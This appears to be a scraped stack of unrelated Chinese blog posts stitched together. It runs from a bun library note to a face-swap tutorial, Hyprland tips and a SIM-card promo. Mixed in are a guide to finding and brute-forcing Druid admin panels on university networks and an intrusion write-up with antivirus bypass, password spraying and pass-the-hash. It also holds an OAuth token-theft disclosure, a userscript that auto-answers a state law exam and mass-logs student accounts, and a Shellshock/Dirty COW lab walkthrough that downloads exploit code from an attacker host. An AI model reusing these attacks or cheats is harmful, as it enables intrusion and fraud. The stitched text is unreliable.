2023年9月

看大家都在聊 bun 1.0 ,我也来凑个热闹
项目地址 https://github.com/codehz/bun_python
demo 代码:

import * as np from 'python:numpy';
import * as plt from 'python:matplotlib.pyplot';
const xpoints = np.array([1, 8]);
const ypoints = np.array([3, 10]);
plt.plot(xpoints, ypoints);
plt.show();

迁移自 deno_python ,主要用于测试和学习 bun 的 FFI 和 plugin 机制的使用

此外发现 bun 的 ffi 性能确实值得一提,思路和 deno ffi 一模一样,api 也大差不差,但性能却能打得过 deno ffi (当然 node napi 肯定也能秒),bun ffi 的这个思路,我在很久之前也在tjs(该项目已废弃)也尝试过,有趣的是,同样用的 zig ,同样用的 tcc 做 native bridge ,只不过我直接把 tcc 的 api 接驳到 js 里使用,而 bun 则是生成一个 c wrapper 代码来做 bridge ,用 tcc 直接 jit 出转换的代码,性能又有进一步提升,加上 JavaScriptCore 引擎自己对 ffi 的优化(特别是相比于 v8 )性能几乎提到了 luajit 的那种水平,deno 虽然 api 看着类似,但实现也完全不同,这大概是性能差距的来源
Bun_python 一个让你在 bun 中直接使用 esm 语法导入 Python 包的库
此外 bun 的 plugin 机制可以直接定义 import 导入语句的行为,由于它是直接和引擎集成,因此相比于 bundle/transpiler/preprocess 的方案,它可以支持 plugin 直接给导入的模块返回对象——而无需生成一系列 export 代码(总所周知,esm 的 named export 需要静态确定),在这个场景下,实现一句话 import * as torch from 'python:torch'; 即可使用 pytorch

某种意义上在 bun 里实现 deno 的 url import 也是可能的,就看有没有人做()

(话虽如此,我也不建议在玩具场景外使用 bun_python 这个库来加载和使用 python ,首先你丧失了最重要的进程隔离,其次我这个库实现的也比较粗糙,很多边界问题都没考虑到)

前言

若依系统存在较多魔改版本,具有前后端分离的情况,内置了druid
通过这个拿下了交大证书
交大证书

Druid弱口令上分攻略

信息收集

首先,我们要做的是收集基于若依CMS的系统

图标收集方法
最简单的就是利用图标的方法进行收集(以下只是举例)

(icon_hash="-1231872293" || icon_hash="706913071")

fofa收集信息
内容收集
另外可以收集的就是内容
SRC之若依系统恰分攻略
下面是以主体中的关键字进行匹配(大部分存在二改的情况)

SRC之若依系统恰分攻略1
标题收集
若依登录系统

收集类似的标题

收集标题

前后端分离之后端收集1
发现下述内容,是ruoyi后端,也需要进行收集
SRC之若依系统恰分攻略2
由于存在很多魔改版本,大致会修改ruoyi那一段

SRC之若依系统恰分攻略3
收集的思路大致为内容匹配(以下是思路之一)
SRC之若依系统恰分攻略4
前后端分离之后端收集2
除了存在后台欢迎的情况,也可能做了弱权限校验,会出现以下情况
弱权限校验
因此此类也需要收集

fofa收集信息2
最重要
如果是为了教育上分的话,需要加上一点小小的黑魔法
加上下面这句话就会筛选出来的内容为教育网段内容

org="China Education and Research Network Center"

fofa收集信息3

druid目录探测

默认路径探测0-未授权

如果配置不当可能不需要druid密码即可直接访问druid

/druid/index.html

默认路径探测1-druid

若依默认的druid路径是

/druid/login.html

收集的网址直接拼接,如果成功,就说明存在druid后台
druid后台

默认路径探测2-默认api

若依存在默认的api,druid的路径可能在api下

/prod-api/druid/login.html
/dev-api/druid/login.html

收集的网址直接拼接,如果成功,就说明存在druid后台
druid后台

默认路径探测3-开发自定义

在这个情况下,直接扫描是没有任何用处的,通常的思路是首先浅浅登录错误一次,查看数据包的目录

示例如下
发现存在一个地址
SRC之若依系统恰分攻略5
抓包查看地址后发现如下目录

SRC之若依系统恰分攻略6
那么拼接地址为

/{发现的api}/druid/login.html

SRC之若依系统恰分攻略7

默认路径探测总结

常见路径地址如下

/druid/index.html
/druid/login.html
/prod-api/druid/login.html
/prod-api/druid/index.html
/dev-api/druid/login.html
/dev-api/druid/index.html
/api/druid/login.html
/api/druid/index.html
/admin/druid/login.html
/admin-api/druid/login.html

甚于内容请在实战中进行尝试

druid弱口令爆破

通常druid不需要验证码就可以进行爆破(请自行收集字典)

常见用户名

admin
druid
ruoyi
...

常见密码

123456
admin
druid
...

总结

相对来说爆破还是需要一本好的字典的,重点在于收集面

以下是在edu-src中使用druid弱口令上分的部分
SRC之若依系统恰分攻略8

新一代开AI换脸神器,生成速度更快,效果更惊艳!

自从上次分享的那个换脸的工具后,发现很多人都很喜欢这个工具,刚好在网上闲逛的时候又发现一款换脸的神器,又经热心网友制作成一键离线包,解压后即可使用。

先看演示吧,为了不侵犯他人的肖像之类的东西,只放了换脸后的视频,各位参考参考吧,下图是AI生成的小姐姐,用来替换视频里面人物的脸。
AI换脸神器
↓下面2位小姐姐的脸,基本都是不动的,或者说头部动作幅度不是很大。
[bsplayer url="https://xiaohack.oss-cn-zhangjiakou.aliyuncs.com/typecho/2023/09/3534649523.mp4" image="视频封面图地址"]
[bsplayer url="https://xiaohack.oss-cn-zhangjiakou.aliyuncs.com/typecho/2023/09/3290191406.mp4" image="视频封面图地址"]

↓下面2位小姐姐身体还有头部动作幅度会大一些,先看看视频效果演示。
[bsplayer url="https://xiaohack.oss-cn-zhangjiakou.aliyuncs.com/typecho/2023/09/2591676258.mp4" image="视频封面图地址"]

[bsplayer url="https://xiaohack.oss-cn-zhangjiakou.aliyuncs.com/typecho/2023/09/1027360922.mp4" image="视频封面图地址"]

下面来讲下详细操作点击启动后就是这么一个黑洞洞的窗口。
新一代开AI换脸神器,生成速度更快,效果更惊艳!
然后打开一个链接:http://127.0.0.1:7860 这个链接在黑窗口那里复制即可;

需要手动复制在浏览器里面打开,然后出来这样的一个界面:
新一代开AI换脸神器,生成速度更快,效果更惊艳!1
如果觉得英文看的不顺眼可以翻译下;
新一代开AI换脸神器,生成速度更快,效果更惊艳2!
下面已经就是正经开始操作;
新一代开AI换脸神器,生成速度更快,效果更惊艳!3

点这里选择你要换的脸;
新一代开AI换脸神器,生成速度更快,效果更惊艳!4
这里选择你要换的视频,然后输出质量选100;
新一代开AI换脸神器,生成速度更快,效果更惊艳!5
比如我换的这个小姐姐的视频,其他都不要动,点最下面的开始。
新一代开AI换脸神器,生成速度更快,效果更惊艳!6
新一代开AI换脸神器,生成速度更快,效果更惊艳!7

看到开始读秒就说明开始了,在黑洞洞那个窗口也会有各种文字滚动。
新一代开AI换脸神器,生成速度更快,效果更惊艳!8
等完成以后,会有提示Processing to video succeed。

点击如图所示的地方,把视频保存到你要保存的地方。

下载AI换脸视频

操作就是这么简单,其他参数都默认即可,千万别乱动,第一次运行会慢一些,因为会自动下载一些对应的模型,请耐心等待,下载好后以后再运行就速度很快了。

下面是我使用了这个工具几天的一点心得。

首先,换脸的文件 不要有中文名字和中文路径,否则很容易报错。

其次,电脑的用户名 一定要是英文,否则也会报错。

再次,换脸的图片 必须是正面 而且要高清一点点,如我上面的小姐姐所示,可以参考下。

否则就会提示这个错误:
新一代开AI换脸神器,生成速度更快,效果更惊艳!9
目前这个工具只是用cpu在跑,速度还可以,我感觉比我之前分享的那个工具 速度快那么一点点,效果也是更惊艳一点,之前那个如果人物头部幅度稍微大点就会出错,或者效果很不好,现在的这个工具效果要好很多了。

请勿滥用该技术,并遵守法律法规!

需要注意的是,Face Swap软件也存在一些潜在的问题和挑战。例如,由于该技术需要处理大量的图像和视频数据,需要消耗大量的计算资源;同时存在隐私和安全问题。

此外,在使用时也存在一些伦理和道德问题,例如可能会被用于进行欺骗或诈骗活动,或者侵犯他人的隐私和肖像权等。因此,在使用该软件时需要谨慎,切忌用它来干坏事。

前言:

一切以学习为主,记录一次小小的攻击过程

本次是通过外网漏洞撕开的口子,主要通过一下方式

拿到了目标资产

  • nday扫一扫
  • 弱口令爆一爆
  • 上传接口找一找
  • 后台上传找一找
  • 数据库弱口令
  • 关注新day,有了立马在资产里面跑一下
  • 逻辑漏洞什么的就不要了,只要能getshell

进内网

拿到了几个shell,先命令查看一下 进了360窝了
shell进内网

基本上都有360,只能掏出我临时免杀马了,不稳,只能绕一下了

这里有个静态免杀马如何上线小技巧:

1、静态免杀马只有在执行敏感命令时才会被检测杀死(静态免杀马比较简单,临时使用)

2、绕过360添加用户,并添加到administrators组(github上有工具)

3、有些服务器不允许外部远程,内网可远程

4、cs可以开socks4,这不是敏感操作

5、挂cs的代理,通过服务器内网ip就可以控制桌面

6、远程控制上去之后,运行杀软360或者火绒等,他会提示在别的用户运行了是否转移到当前用户,选择是,然后关了它,接下来就可以为所欲为了

7、上面的步骤不一定适用于每个环境,总要根据环境改变策略的不是。

密码喷洒

内网主打的一个信息关联

抓取到本地密码后,使用fscan就可以碰撞 或者使用 crackmapexec 去碰就可以

fscan -h 192.168.x.x/24 -m smb -user 用户 -pwd 密码
crackmapexec smb 192.168.x.x -u 用户 -p '密码'

如果抓不到密码,用hash去PTH票据传递

crackmapexec smb 192.168.x.x -u 用户 -H 'NTLM'

收获同段192.168.x.x三台
记录一次内网渗透过程
使用wmiexec.py 验证一下
记录一次内网渗透过程1

探测网段可达

工具netspy,得到众多可达网段
探测网段可达

找域

使用nbtscan批量跑NetBIOS协议,就工作组没域啊
记录一次内网渗透过程2

意外的60台设备

既然是同一个工作组那肯定是有相同之处,而且他们的计算机名好像,不对劲。。绝对不对劲。。。

找其中一个扫一下端口看看一下,有个8xxx的端口是个机顶盒后台
记录一次内网渗透过程3
弱口令随手试一下就进去了admin,60台 拿下拿下
记录一次内网渗透过程3

回首掏

再回到初始服务器,抓取本地所有密码,浏览器记录等信息

通过浏览记录和密码抓取,拿下用友后台存在大量数据,websphere集成存在7台终端

记录一次内网渗透过程4
记录一次内网渗透过程5

qax云安全管理平台

看了一下ip的web扫描结果,内网中存在三台qax的云安全管理平台

本来想着游戏结束,谁知道一台管理机器也没有o(╥﹏╥)o

qax云安全管理平台

战后总结

1、现在的内网渗透总要面对杀软,时时刻刻都要有自己一套绕过杀软或免杀的能力,过不去杀软都是浮云

2、内网主要就是信息收集,需要收集好本地密码、浏览器记录、数据库密码、可达网段、多网卡机器、重点目标、是否有域等等

3、横向移动,本次主要用了密码喷洒,信息收集后发现内网机器并不多,就没再继续横向

4、重点资产要特别关注,像一下堡垒机、天擎、这样的终端控制服务,拿下后直接游戏结束

5、本次测试主要目的在于学习,内网中各种协议应该灵活使用,ICMP探测不到的不一定不存在,换成Netbios协议去探测却能够探测出来,还有一些机器禁ping,都要学会去绕过。

6、自动化进行扫描的话动静还是太大,需要更精简化测试过程,瞄的准打的狠,直线攻击直接拿下内网

由于第一方 access_token 被盗,Facebook/Oculus 帐户被接管

恶意行为者可以窃取 Oculus 应用程序的第一方访问令牌,他可以使用该令牌访问 Facebook/Oculus 帐户。

因为 Facebook 中的 Oculus 应用程序(用于使用 Facebook 帐户登录 Oculus)将auth.oculus.com/login/端点作为有效的 redirect_uri。

不过,Oculus 已改用Meta帐户进行登录。这意味着在访问auth.oculus.com/login/时,端点将重定向到auth.meta.com/oidc/以使用Meta帐户登录,然后返回到 auth.oculus.com。

我们可以在www.facebook.com[1] OAuth中选择response_type=token,令牌将被传递到下一个重定向URL,直到再次到达auth.oculus.com。

这里的问题是,之前,auth.oculus.com/login通过使用 Javascript 进行重定向来防止令牌泄漏,但是在 oculus 登录更改为 Meta 帐户而不是 Facebook 后,这种保护消失了,现在它直接重定向到最初在auth.oculus.com/login/?redirect_uri=Redirect_Here中找到的 URL。

Redirect_Here 可以是 oculus.com 的任何子域,其中一些子域(如 forums.oculus.com)会重定向到第三方应用程序,该应用程序可以具有开放重定向来泄漏令牌(但这不是使用的开放重定向)。这个漏洞很容易发现和利用。

漏洞挖掘细节

测试过程:

  1. 受害者已登录Facebook.com
  2. 受害者未登录Oculus.com(这不是必需的,因为我们可以在此处使用注销 CSRF)

攻击:

  1. 通过重定向到此页面https://auth.meta.com/login/facebook/

将受害者登录到他的 Meta 帐户 CSRF

  1. 打开https://www.facebook.com/v3.1/dialog/ oauth?app_id=1517832211847102&redirect_uri=https://auth.oculus.com/login/?redirect_uri=https://forums.oculus.com/openredirect&response_type=token[2]
  2. 在 OAuth 流程之后,我们可以注意到令牌最终以 https 形式结束://forums.oculusvr.com/openredirect#access_token=TOKEN

4)最终access_token将被泄露到https://ysamm.com

漏洞时间线

2022 年 8 月 27 日—报告发送 2022 年 

2022 年 9 月 25 日—Meta 确认

2022 年 9 月 25 日—Meta 修复

2022 年 9 月 25 日—Meta 授予 44250 美元赏金。(包括 BountyCon 奖金和最高影响力报告奖金)

首先是 Chrome ,默认不支持 Wayland, 强制使用后发现输入法不能用,搜索后得知需要使用 gtk4

--enable-features=UseOzonePlatform
--ozone-platform=wayland
--gtk-version=3

这样 fcitx5 能用了,不过候选词的那个框框位置不对,并且浏览器多了些毛病,不能右键下载图片,上传图片报错等等。Firefox 表现完美,可我的主力是 Chrome 。

Flutter 完美支持是意外之喜,除了 AndroidStuido 需要跑在 Xwaylany 上。
折腾好久尝鲜了 Hyprland,小问题一堆,但基本上属于能用了,遇到的一些问题供参考
vscode 和 Chrome 一样的毛病,使用相同的配置之后在我的机器上打开就 crash , 暂时没找到解决方法。只能按照官方的建议跑在 Xwayland 上然后强制放大 UI,放大倍率只能是整数,在我这个分辨率上就很尴尬——原始的太小,2 倍又太大,显示不了多少东西。
折腾好久尝鲜了 Hyprland,小问题一堆,但基本上属于能用了,遇到的一些问题供参考1
一些软件多少有适配问题,有些可能永远都不会支持了,比如说 w3m 用不了,ranger 看不了图片。 我还发现 GLFW 有奇怪的问题,Wayland 上拿不到正确的 FrameBuffer 大小,官方的 issues 也没有明确的修复计划,导致 viewport 总是只有窗口的 1/4 。

折腾好久尝鲜了 Hyprland,小问题一堆,但基本上属于能用了,遇到的一些问题供参考2

全国青少年普法网,每年都有,提供给有需要的人。
全国学生“学宪法 讲宪法”活动自动答题脚本
首先装好油猴,然后将你的账号信息设置如下格式保存:
全国青少年普法网自动答题、自动考试、批量导入账号脚本
这个插件相对于其他的插件来说,多了一个批量导入账号的功能。
可以按照插件页面的图片指示来操作
然后安装这个脚本:
地址:https://greasyfork.org/

代码:

// ==UserScript==
// @name         普法网(宪法小卫士)批量导入、课后练习、考试自动答题
// @namespace    Ne-7
// @version      1.0.0
// @description  全国学生“学宪法 讲宪法”活动自动答题脚本
// @author       guan
// @match        *://static.qspfw.moe.gov.cn/*
// @run-at       document-end
// @grant        unsafeWindow
// @license      MIT
// @require      https://cdn.staticfile.org/jquery/3.6.0/jquery.min.js
// @require      https://cdnjs.cloudflare.com/ajax/libs/xlsx/0.17.0/xlsx.full.min.js
// ==/UserScript==

var _self = unsafeWindow,
    $ = _self.jQuery || top.jQuery,
    Swal = Swal || window.Swal,
    columnId = getQueryVariable("columnId"),
    answer_list = [],
    exam_list = [],
    time = 5e3, // 答题间隔时间,最好为5秒
    num = {"A": 1,"B": 2, "C": 3, "D": 4};

(function() {
    if (window.location.pathname.indexOf('learn_exam.html') != -1) {
        getExam();
        let t = setInterval( function() {
            doExam(t)
        },time / 2);
    } else if (window.location.pathname.indexOf('learn-practice.html') != -1) {
        setTimeout(function function_name(argument) {
            if ($(".inside-pages-title:contains('课后练习')") != null) {
                getAnswer(columnId);
                let t = setInterval( function() {
                    doQuestion(t)
                },time / 2);
            }
        }, time / 2);
    } else if (window.location.pathname.indexOf('learn_practice_list.html') != -1) {
        setTimeout( function() {$(".red").click();},time / 2);
    } else if (window.location.pathname.indexOf('/user/') != -1) {
        setTimeout(function() {
            setInterval(function() {
                var stu = $("button:contains('开始学习')");
                if (stu != null) {
                    $("button:contains('开始学习')").click();
                }
            }, time / 2)
            createFileInput();
            readFile();
            readAndWriteStudentInfo();
        }, time / 2);

    } else if (window.location.pathname.indexOf('learning-page.html') != -1) {
        setTimeout(function function_name(argument) {
            if ($(".inside-pages-title:contains('课程学习')") != null) {
                $("#afterClassPractice").click();
            }
        }, time / 2);
    } else if (window.location.pathname.indexOf('evaluation.html') != -1) {
        window.location.href="https://static.qspfw.moe.gov.cn/user/#/user/login?redirect=%2Factivity";
    }
})();

function createFileInput() {
    var courseGradeDetail = document.querySelector(".main");
    var fileInputHTML = '<div><input type="file" id="file-input" accept=".xls,.xlsx"></div>';
    courseGradeDetail.insertAdjacentHTML("afterbegin", fileInputHTML);
    var clearButton = document.createElement("button");
    clearButton.textContent = "清除缓存";
    clearButton.addEventListener("click", function() {
      localStorage.removeItem("students");
    });
    var file = document.querySelector("#file-input");
    file.parentNode.appendChild(clearButton);
}

function readFile() {
  var fileInput = document.getElementById("file-input");
  fileInput.addEventListener("change", function() {
    var file = fileInput.files[0];
    var reader = new FileReader();
    reader.onload = function(e) {
      var data = e.target.result;
      parseExcelData(data);
    };
    reader.readAsBinaryString(file);
  });
}

function parseExcelData(data) {
  var workbook = XLSX.read(data, {type: "binary"});
  var sheetName = workbook.SheetNames[0];
  var sheet = workbook.Sheets[sheetName];
  var json = XLSX.utils.sheet_to_json(sheet, {header: 1});
  var students = {};
  for (var i = 1; i < json.length; i++) {
    var row = json[i];
    var id = row[0];
    var name = row[1];
    var password = row[2];
    if (students[id]) {
      continue;
    }
    students[id] = {name: name, password: password};
  }
  var studentsString = JSON.stringify(students);
  localStorage.setItem("students", studentsString);
}

function readAndWriteStudentInfo() {
  var students = JSON.parse(localStorage.getItem("students") || "{}");
  var keys = Object.keys(students || []);
  if (keys.length == 0) {
    return;
  }
  var id = keys[0];
  var name = students[id].name;
  var paw = students[id].password;
  copy_text = id;
  var loginInfo = document.getElementById("formLogin_loginInfo");
  var userName = document.getElementById("formLogin_userName");
  var password = document.getElementById("formLogin_password");
  var captcha = document.getElementById("formLogin_captcha");
  $(".ant-radio-input").click();
  loginInfo.onfocus = async function() {
    await navigator.clipboard.writeText(id);
  };
  userName.onfocus = async function() {
    await navigator.clipboard.writeText(name);
  };
  password.onfocus = async function() {
    await navigator.clipboard.writeText(paw);
  };
  delete students[id];
  localStorage.setItem("students", JSON.stringify(students));
}

function getQueryVariable(variable) {
       var query = window.location.search.substring(1);
       var vars = query.split("&");
       for (var i=0;i<vars.length;i++) {
               var pair = vars[i].split("=");
               if(pair[0] == variable){return pair[1];}
       }
       return(false);
};

function getAnswer(columnId) {
    $.ajax({
        url: _self.config.practice.host + _self.config.practice.practice + "?columnId="+ columnId + "&taskId=" + _self.config.taskId,
        headers: _self.config.apiConfig.header,
        async: false,
        success: function (res) {
            const { data, status } = res;
            if (status === "0") {
                var question_data = res.data
                var questionBankList = data.questionBankList
                answer_list = questionBankList;
                // 从localStorage中获取已经缓存的答案数组,如果没有则使用一个空数组
                var cached_answers = JSON.parse(localStorage.getItem("answers")) || [];
                // 遍历每个答案,检查是否已经存在相同id属性的答案
                for (var i = 0; i < answer_list.length; i++) {
                    var answer = answer_list[i];
                    // 使用find方法或some方法来检查缓存数组中是否已经存在相同id属性的答案
                    var found_answer = cached_answers.some(function(cached_answer) {
                        return cached_answer.id == answer.id;
                    });
                    // 如果不存在相同id属性的答案,将它追加到缓存数组中
                    if (!found_answer) {
                        cached_answers.push(answer);
                    }
                }
                // 将更新后的缓存数组重新保存到localStorage中
                localStorage.setItem("answers", JSON.stringify(cached_answers));
            } else if (status === "1") {
                alert("请先学习当前模块");
                window.history.go(-1);
            } else if (status === "-2") {
                alert("请重新登陆");
            } else {

            }
        },
        error: function (err) {
        }
    });
}

// 答题操作
function doQuestion(t) {
    var cur_topic = $('#currentTopic').text(),
        tol_topic = $('#totalTopic').text(),
        answer = answer_list[cur_topic - 1].answer;
    $('#exam_answer > div:nth-child(' + num[answer] + ')').click();
    if (cur_topic == tol_topic) {
        // 清除Interval的定时器
        clearInterval(t);
        //setTimeout(function(){Swal.fire('宪法小助手提示','答题完成','info')},time / 2);
        if ($("#next_exam").css("display")  != 'none') {
            nextExam();
        } else {
            toEvaluation();
        }

    } else{
        setTimeout(function(){$('#next_question').click()},time / 5);
    };
}

// 获取考试题目
function getExam(){
    $.ajax({
        url: _self.config.wexam.host + _self.config.wexam.getPaper + "?taskId=" + _self.config.taskId,
        headers: _self.config.apiConfig.header,
        async: false,
        success: function (res) {
            const { data, status, message } = res;
            if (status === "0") {
                var question_data = res.data;
                var paper = question_data.paper;
                var paperInfo = paper.paperInfo;
                exam_list = paperInfo;
            } else {
                alert('获取考试题目失败!')
            }
        },
        error: function (err) {
        }
    });
}

// 考试答题操作
function doExam(t){
    $('#ne21ans')[0] ? $('#ne21ans').html('<p style="color: red;">正在搜索答案~</p>') : $('#exam_question').append('<div id="ne21ans"><p style="color: red;">正在搜索答案~</p></div>')

    var cur_topic = $('#currentTopic').text(),
        tol_topic = $('#totalTopic').text(),
        questionInfo = exam_list[cur_topic - 1];

    // 从localStorage中获取已经缓存的答案数组,如果没有则使用一个空数组
    var cached_answers = JSON.parse(localStorage.getItem("answers")) || [];
    // 从缓存数组中查找与题目id相同的答案
    var cached_answer = cached_answers.find(function(answer) {
        return answer.content.replace(/\s+/g, '') == questionInfo.content.replace(/\s+/g, '');
    });
    if (cached_answer) {
        // 如果找到了匹配的答案,直接显示并选择
        $('#ne21ans').html('<p style="color: red;">参考答案:'+ cached_answer.answer + '</p>')
        $('#exam_answer > div:nth-child(' + num[cached_answer.answer] + ')').click();
    } else {
        // 如果没有找到匹配的答案,提示用户自己作答或者使用其他方法获取答案
        $('#ne21ans').html('<p style="color: red;">没有找到该题目的答案,请自己作答或者尝试刷新页面</p>')
    }

    if (cur_topic == tol_topic) {
         // 清除Interval的定时器
         clearInterval(t);
         saveResult();
         setTimeout(function(){$("button:contains('返回综合评价')").click();},time / 2);
    } else{
         setTimeout(function(){$('#next_question').click()},time / 5);
    };

}

总结

getwebshell : nikto扫描 → 发现shellshock漏洞 → 漏洞利用 → getwebshell

提 权 思 路 : 内网信息收集 → 内核版本较老 →脏牛提权

准备工作

启动VPN
获取攻击机IP → 192.168.45.194
获取攻击机IP
启动靶机
获取目标机器IP → 192.168.190.87
获取目标机器IP

信息收集-端口扫描

目标开放端口收集

  • Nmap开放端口扫描2次(多次扫描减少误扫)
sudo nmap --min-rate 10000 -p- 192.168.190.87
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

端口扫描
开放的端口->22,80

目标端口对应服务探测

# tcp探测
sudo nmap -sT -sV -O -sC -p22,80 192.168.190.87
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu
80/tcp open  http    Apache httpd 2.2.22 ((Ubuntu))

目标端口对应服务探测

信息收集-端口测试

22-SSH端口的信息收集

22-SSH端口版本信息与MSF利用
通过Nmap探测获得SSH的版本信息,可以尝试利用
探测版本为OpenSSH 5.9p1 Debian 较老

# 搜索对应脚本
msf6 > searchsploit OpenSSH 5.9p1

发现搜索到可利用的和用户枚举有关(待定)
MSF利用
22-SSH协议支持的登录方式
通过Nmap探测获得SSH的版本信息,在获取到某个用户名之后尝试
sudo ssh root@192.168.190.87 -v
显示publickey、password就是支持密钥以及密码登录

显示publickey、password就是支持密钥以及密码登录
22-SSH手动登录尝试(无)
因为支持密码登录,尝试root账户的密码弱密码尝试

sudo ssh root@192.168.190.87 -p 22
# 密码尝试
password > root

弱密码尝试失败
弱密码尝试失败

22-SSH弱口令爆破(静静等待)
因为支持密码登录,尝试root账户的密码爆破,利用工具hydra,线程-t为6

sudo hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.190.87 ssh -s 22

挂着工具进行爆破,我们尝试后续信息收集
爆破
80-HTTP端口的信息收集
访问 http://192.168.190.87:80 不是CMS我们直接从HTML隐藏信息收集开始
提示是存在启动的应用,但是没显示
存在应用启动

**信息收集-HTML隐藏信息查看
**

# 包括文章中是否写明一些敏感信息
curl http://192.168.190.87:80


无

信息收集-目录扫描

信息收集-目录扫描初步

# 用两个扫描器进行扫描,更加的谨慎一些
dirsearch -u http://192.168.190.87:80 -x 302,403,404
dirb http://192.168.190.87:80

没有扫出目录,准备大字典
目录扫描
信息收集-目录扫描(深度/大字典)

gobuster dir -u http://192.168.190.87:80 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 1000

目录扫描1
在进行大字典的时候,发现无事可干,尝试利用其他工具探测一下web
目录探测
探测完毕,毫无头绪

漏洞探测-nikto扫描

nikto -h http://192.168.190.87:80

nikto扫描
探测之后提示似乎容易受到shellshock漏洞攻击CVE-2014-6278
似乎与首页的提示存在启动的应用有关

漏洞利用-getwebshell

Shellshock漏洞于2014年9月公开,并且对网络安全造成了相当大的影响。这个漏洞的本质是Bash解释器在处理环境变量时存在一种缺陷,允许远程攻击者通过精心构造的恶意环境变量注入任意的Shell命令,从而实现执行恶意代码的能力。

Shellshock攻击

使用msfconsole,搜索攻击方式

msfconsole
search CVE-2014-6271

搜索攻击方式

在这里选择了1因为探测出来是apache的站点,1比2更靠谱
使用msf漏洞利用模块:exploit(multi/http/apache_mod_cgi_bash_env_exec)

use exploit/multi/http/apache_mod_cgi_bash_env_exec
set rhosts 192.168.190.87
set lhost 192.168.45.194
set targeturi /cgi-bin/test
run

成功getwebshell
getshell

内网遨游-getshell

交互shell

交互shell-python

由于获取的shell交互不友好,利用python获得新的交互shell

# 如果是msf的要先shell
shell
# 利用python获取交互shell -> python失败使用python3
python -c "import pty;pty.spawn('/bin/bash')";

利用python获得新的交互shell

FLAG1获取

www-data@ubuntu:/usr/lib/cgi-bin$ find / -name local.txt 2>/dev/null
/usr/lib/cgi-bin/local.txt
www-data@ubuntu:/usr/lib/cgi-bin$ cat /usr/lib/cgi-bin/local.txt
6b8bdd93e00d8ea52fcc7f201eba9f56

信息收集-内网基础信息收集

提权的本质在于枚举,在获取shell之后我们要进行内网信息的收集,都是为了提权做准备

检测Linux操作系统的发行版本
较老的Ubuntu以及Linux系统可以overlayfs提权

# 确定发行版本
www-data@ubuntu:/usr/lib/cgi-bin$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 12.04 LTS
Release:        12.04
Codename:       precise

发行版本为Ubuntu 12.04,有点能overlayfs提权

检测Linux操作系统的内核版本
较低的内核版本可以进行脏牛提权

www-data@ubuntu:/usr/lib/cgi-bin$ uname -a
Linux ubuntu 3.2.0-23-generic #36-Ubuntu SMP Tue Apr 10 20:39:51 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux

内核版本为3.2.0
查看内核版本

权限提升

overlayfs提权(无)

若存在以下情况进行overlayfsLinux Kernel Version提权

:-: |:-:
系统|版本
Linux Kernel Version |大于3.13.0小于3.19
Ubuntu|Linux 15.04
Ubuntu|Linux 14.10
Ubuntu| Linux 14.10
Ubuntu| Linux 12.04

msfcontrol

msf > searchsploit overlayfs

发现内核版本不太符合
内核版本不符

脏牛提权尝试1(失败)

若存在以下情况进行脏牛提权

:-: |:-:
系统|版本
Centos7/RHEL7| 3.10 .0-327.36.3.e17
Cetnos6/RHEL6 |4.4.0-45.66
Ubuntu 16.10 |2.6.32-642 .6.2.e16
Ubuntu 16.04 |4.8.0-26.28
Ubuntu 14.04 |3.13.0-100.147
Debian 8 |3.16.36-1+deb8u2
Debian 7 |3.2.82-1

msf6 > searchsploit dirty

# cp到本地
cp /usr/share/exploitdb/exploits/linux/local/40847.cpp .
# 确认编译语句
cat 40847.cpp

得到编译以及执行的语句
得到编译以及执行的语句

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
./dcow -s

python3开启http服务

# 利用python开启http服务,方便目标机器上下载文件
sudo python3 -m http.server 80
# 目标机器到tmp目录下下载(有下载权限)
cd /tmp
# 下载
wget http://192.168.45.194/40847.cpp
# 给权限
chmod +x 40847.cpp
# 编译
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
# 运行
./dcow -s

发现不能用g++`
g++

脏牛提权尝试2

尝试换一个

# cp到本地
cp /usr/share/exploitdb/exploits/linux/local/40839.c .
# 确认编译语句
cat linux/local/40839.c

gcc -pthread dirty.c -o dirty -lcrypt
创建firefart用户,密码自输

python3开启http服务

# 利用python开启http服务,方便目标机器上下载文件
sudo python3 -m http.server 80
# 目标机器到tmp目录下下载(有下载权限)
cd /tmp
# 下载
wget http://192.168.45.194/40839.c
# 给权限
chmod +x 40839.c
# 编译
gcc -pthread 40839.c -o dirty -lcrypt
# 运行
./dirty

# 重新登录su firefart用户密码123456
www-data@ubuntu:/usr/lib/cgi-bin$ su firefart
Password: 123456
firefart@ubuntu:/usr/lib/cgi-bin# id
uid=0(firefart) gid=0(root) groups=0(root)

提权成功
提权成功

FLAG2获取

firefart@ubuntu:/tmp# cat /root/proof.txt

22f3656d21fb5ef444ea898e69073476

总结

从发现ssh版本开始就感觉有点偏老,应该多尝试老漏洞

有时候nikto工具也可以适当用一下,指不定有其他收获

giffgaff 是来自英国的一家新锐低成本运营商,隶属于英国三大运营商 O2 旗下,2009 年创立,采用了无营业网点,无热线客服,灵活套餐的特色服务来降低用户成本,特别适合短期游客及英国留学生。它支持全球漫游,在中国也可收发短信,接听电话和上网。

为什么选择英国 giffgaff SIM 卡?

-性价比高:0 月租,免费接收短信,充值一次,接码可以用 20 年以上(仅需半年保号一次),可能是国内性价比最高的接码实体卡!
-安全:实体卡无须担心因号码被风控,还可以换 2 次号码,比 Google Voice 整天被风控来的好用
-漫游:支持中国大陆激活及漫游
-稳定性高:无限有效期,每半年发一条短信即可保号
-兼容性好:支持绝大部分海外 APP/应用/银行,例如 TikTok/Twitter/Facebook/Instagram/LINE/WhatsApp/Telegram 等等,ChatGPT3.5/4.0 ,苹果 ID ,Amazon ,PayPal ,花旗,渣打,巴克莱,德意志银行,瑞士银行,还有一些新出现的虚拟信用卡等等

常见坑汇总(不定期更新)

Q:官网申请到的空白卡里有话费吗?
A:没有,收到卡后按照教程自助激活,保姆级教程地址: https://pan.baidu.com/s/1Byhw7zE5MKNxaILy9d_Pcw?pwd=xkns

Q:充值送 5 磅话费的福利一直有吗?
